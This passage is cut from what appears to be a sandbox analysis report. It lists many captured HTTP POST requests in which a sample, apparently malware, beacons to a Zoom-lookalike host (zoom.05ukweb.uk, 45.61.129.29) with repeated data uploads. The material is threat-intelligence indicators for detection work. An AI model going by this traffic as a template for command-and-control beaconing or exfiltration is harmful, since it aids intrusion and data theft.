zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4947607"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5014199 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5014199"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5171647 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5171647"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5214071 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5214071"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5395809 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5395809"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4547230 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5100\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4547230"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4796234 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4796234"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5238303 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5238303"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5504747 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5504747"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4644580"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4747832 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4909\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4747832"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4874937 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4874937"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4935499 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4909\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4935499"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4971843 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4794\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4971843"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5207962 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5207962"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4850719 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4850719"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5262543 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5262543"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5298906 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5298906"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5383687 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5383687"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4541237 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5100\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4541237"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4711380 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4711380"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4741786 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4909\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4741786"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4862831 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4862831"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5456352 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5456352"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5486566 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4697\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5486566"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5534968 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5534968"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4717517 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4717517"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4723649 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4723649"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4802324 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4802324"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5086878 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5086878"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5274666 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5274666"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5498667 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4697\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5498667"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5510771 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5510771"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5068770 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5068770"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5250430 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5250430"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5317031 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5317031"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5377579 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5377579"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5420028 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5420028"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4784128 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4784128"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4911249 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4911249"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4977849 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4794\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4977849"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5105108 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5105108"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5220077 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5220077"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5286786 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5286786"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5341246 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5341246"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5432133 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5432133"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4504716 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5100\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4504716"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4553365 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5025\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4553365"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4559411 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5025\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4559411"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4735742 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4909\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4735742"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4965739 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4794\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4965739"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5099002 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5099002"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5165619 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5165619"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5226189 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5226189"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; 